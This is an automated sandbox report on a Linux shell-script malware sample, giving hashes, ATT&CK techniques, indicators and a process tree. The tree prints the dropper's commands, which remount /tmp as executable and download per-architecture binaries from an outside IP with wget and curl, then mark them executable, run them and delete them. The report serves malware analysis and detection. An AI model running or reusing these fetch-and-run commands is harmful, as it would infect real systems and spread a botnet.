97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd

Analysis

max time kernel
93s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/09/2026, 12:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lel.sh
Size 1KB
Sample260930-ph23lavvdt
SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
MD5 b3b0de5e2a68cac75d43add4b8460d50
SHA1 ab2c32d426c454a92457b494e6e333bedd739349
SHA512 df4360b7a965d164ccb1b94ecda5ff3d31e63246f8a87923f4271e4d52045708fef0fc3390aab917833b5b29a41d1b25965fb23d1b87409747b1a5b38c40353e
TLSH
T1DF31E482A1948B72DE4DCE577A698D0C70D962C0A8D1FF0ADCFA65B7DD4EE483003E61
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery

Malware Config

Signatures

Contacts a large (186796) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
786	chmod
794	chmod
799	chmod
744	chmod
765	chmod
777	chmod
781	chmod
789	chmod
803	chmod
758	chmod
762	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/x64s	759	lel.sh
/tmp/mips	766	lel.sh

Renames itself 1 IoCs

pid	Process
766	mips

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	klogd	766	mips

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/self/mountinfo	mount
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/self/mountinfo	mount
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
764	curl
766	mips
769	rm
763	wget

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/x64s	wget
File opened for modification	/tmp/x64s	curl

/tmp/lel.sh
/tmp/lel.sh
1⤵
- Executes dropped EXE
PID:727
- /bin/mount
  mount -t tmpfs tmpfs /var/run
  2⤵
  - Reads runtime system information
  PID:729
- /bin/mount
  mount -o "remount,rw,exec" /var/run
  2⤵
  - Reads runtime system information
  PID:731
- /bin/mount
  mount -o "remount,rw,exec" /tmp
  2⤵
  - Reads runtime system information
  PID:738
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /usr/bin/wget
  wget http://143.20.185.213/x64s
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://143.20.185.213/x64s
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x busybox lel.sh systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk x64s
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/x64s
  ./x64s x64s
  2⤵
  PID:759
- /bin/rm
  rm -rf x64s
  2⤵
  PID:761
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /usr/bin/wget
  wget http://143.20.185.213/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /usr/bin/curl
  curl -O http://143.20.185.213/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod +x busybox lel.sh mips systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/mips
  ./mips mips
  2⤵
  - Renames itself
  - Changes its process name
  - System Network Configuration Discovery
  PID:766
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:769
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /usr/bin/wget
  wget http://143.20.185.213/mpsl
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://143.20.185.213/mpsl
  2⤵
  PID:775
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/mpsl
  ./mpsl mpsl
  2⤵
  PID:778
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:780
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /usr/bin/wget
  wget http://143.20.185.213/armv7
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://143.20.185.213/armv7
  2⤵
  PID:784
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/armv7
  ./armv7 armv7
  2⤵
  PID:787
- /bin/rm
  rm -rf armv7
  2⤵
  PID:788
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /usr/bin/wget
  wget http://143.20.185.213/armv5
  2⤵
  PID:791
- /usr/bin/curl
  curl -O http://143.20.185.213/armv5
  2⤵
  PID:793
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/armv5
  ./armv5 armv5
  2⤵
  PID:796
- /bin/rm
  rm -rf armv5
  2⤵
  PID:797
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /usr/bin/wget
  wget http://143.20.185.213/aarch64
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://143.20.185.213/aarch64
  2⤵
  PID:802
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-f4b6878d892b4f55be4a8132645c01f9-systemd-timedated.service-l8kSGk
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/aarch64
  ./aarch64 aarch64
  2⤵
  PID:805
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:806

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 857KB
SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
MD5 a39fe8036e559ce804e26518061e59ff
SHA1 8df27f6e8a48b762d945ea2f2b87390c80acd4de
SHA512 e97756f316fceef7360e789362648529eea50eb6f7cc56cf654b3fc43ca61f0e4d9f366ed8fd59b73dd5a49615e935e9f53686d15f9a83c7fa472a70e7196d0d
SSDEEP 24576:pr1OolvjQkUQbkX5gLLatgVMmFSO4XS9PBdi:pZOolbQ4kXILatgfKS9PBE
TLSH
T12F154B5337218F1CF361D17004B3CE666AB652922BF68689927CF5203B90F6D641FFA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 837KB
SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
MD5 83e660d9e4215b3e51d949259f832140
SHA1 a3bbc45e88b6a5b1e11d594b4ae3294d5d9be7b6
SHA512 b3b24a5d04285f7d4151986328a1aaa82486a4d730af3410018d1a75428a6ca036a5e25b74d5678332a2d484d96bc2eca61fc9edd682a25c42b32529698b8030
SSDEEP 24576:Q0kerzMd7EAKZnfiC4pjGwn/6aBInEMSm0:ArC4p3nUEn
TLSH
T1EB057D53F7318F54D360D27908E3876596A625A20BE395C6A37DC2203A1077D6CAFFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x64s

Path /tmp/x64s
Size 951KB
SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
MD5 b71854f1604a029e5ff8f628c56285de
SHA1 acea454e0cb3668cfdacf23480781aa042a6b748
SHA512 25dcb08a45e107a2af9a408a0bf2b4d8501faa41284ff95a03cc146c61b76a84d66a651090b330c5582ff46707235f53321c534a8b610be41ffa891ae13ba1f4
SSDEEP 12288:uRt0XrjAphNgIifGxKkamon66VT8ddH4dmPOF2NFjVRU2aay6UKuHXQRq3:ufdhNgwgmo6+JF2NFjVRJxRq3
TLSH
T137257B1AB2E2B0BCD017C03007DFDA629775F07726226E7B36C49A352D5FDA52369B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads